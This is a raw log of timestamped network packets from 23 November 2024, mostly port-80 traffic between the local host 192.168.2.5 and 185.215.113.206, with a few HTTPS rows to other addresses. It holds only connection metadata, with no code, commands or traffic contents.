Nov 23, 2024 01:14:30.802252054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.802347898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.803136110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.803189993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.803247929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.803294897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.804083109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.804146051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.804202080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.804249048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.805063009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.805130959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.805208921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.805279970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.806045055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.806104898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.806147099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.806207895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.807017088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.807075977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.807090044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.807137966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.808048964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.808123112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.808254957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.808309078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.808991909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.809043884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.809102058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.809926987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.809979916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.810049057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.810095072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.810852051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.810956001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.810980082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.811029911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.811858892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.811913013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.811989069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.812038898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.812411070 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.812478065 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.812552929 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.812561035 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.812639952 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.812838078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.812949896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.813004971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.813800097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.813982964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.814016104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.814064026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.814748049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.814810991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.814872980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.814944029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.815754890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.815812111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.815835953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.815884113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.816653013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.816798925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.816852093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.817642927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.817703009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.817706108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.817753077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.818651915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.818696022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.818753004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.819610119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.819660902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.819694042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.819750071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.820573092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.820631027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.820637941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.820687056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.821511984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.821614981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.821620941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.821675062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.822488070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.822546005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.822624922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.822674990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.823496103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.823545933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.823553085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.823595047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.824429989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.824479103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.824541092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.824589968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.825391054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.825445890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.825524092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.825611115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.826364994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.826416016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.826437950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.826529980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.827348948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.827404022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.827462912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.827511072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.828293085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.828382969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.828423023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.828433990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.829269886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.829350948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.829405069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.829457045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.830250978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.830306053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.830368996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.830455065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.831028938 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.831074953 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.831103086 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.831120014 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.831142902 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.831151009 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.831161022 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.831170082 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.831197977 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.831247091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.831298113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.831372976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.831433058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.832163095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.832216978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.866194963 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.866242886 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.866270065 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.866277933 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:30.866314888 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.866328001 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:30.982534885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.982588053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.982599974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.982635021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.982877970 CET	49827	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:30.982894897 CET	443	49827	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:30.983000994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.983095884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.983176947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.983223915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.983949900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.984009981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.984308958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.984422922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.984443903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.984492064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.985289097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.985340118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.985366106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.985389948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.986236095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.986293077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.986361027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.986438036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.987229109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.987283945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.987348080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.987525940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.988177061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.988240957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.988320112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.988364935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.989222050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.989281893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.989343882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.989423037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.990140915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.990192890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.990248919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.990427971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.991095066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.991138935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.991200924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.991245031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.992058039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.992116928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.992162943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.992206097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.993033886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.993091106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.993097067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.993136883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.994009018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.994060040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.994136095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.994194031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.994968891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.995013952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.995021105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.995063066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.995268106 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.995342016 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.995348930 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.995378971 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:30.995405912 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.995415926 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:30.995944977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.995996952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.996005058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.996031046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.996901989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.996970892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.997024059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.997066975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.997909069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.997942924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.997961044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.997981071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.998879910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.998930931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.999048948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.999135017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.999818087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:30.999871969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:30.999955893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.000070095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.000813007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.000948906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.000973940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.000988007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.001761913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.001858950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.001868010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.001910925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.002728939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.002784967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.002847910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.003345013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.003695965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.003779888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.003829002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.004648924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.004740953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.004750967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.004795074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.005654097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.005703926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.005805016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.005851984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.006598949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.006652117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.006714106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.006828070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.007549047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.007601023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.007711887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.007761002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.008547068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.008596897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.008642912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.008788109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.009481907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.009530067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.009531975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.009582043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.010471106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.010524035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.010580063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.010622025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.011512041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.011573076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.011651993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.012408972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.012670040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.013381004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.013487101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.013812065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.014328003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.014389992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.014456987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.014543056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.015242100 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.015289068 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.015294075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.015332937 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.015356064 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.015364885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.015372992 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.015422106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.015470028 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.015625000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.016267061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.016330004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.016388893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.016470909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.017268896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.017362118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.017435074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.017479897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.018210888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.018265009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.018289089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.018376112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.019279003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.019392967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.019448996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.020172119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.020222902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.020302057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.020409107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.021117926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.021183014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.021234035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.021281004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.022119045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.022172928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.022233009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.022277117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.023082972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.023139954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.023159981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.023206949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.024019003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.024070024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.024070978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.024106026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.024996042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.025048971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.025109053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.025154114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.025960922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.026012897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.026077032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.026123047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036169052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036201954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036256075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036259890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036268950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036281109 CET	80	49760	185.215.113.206	192.168.2.5
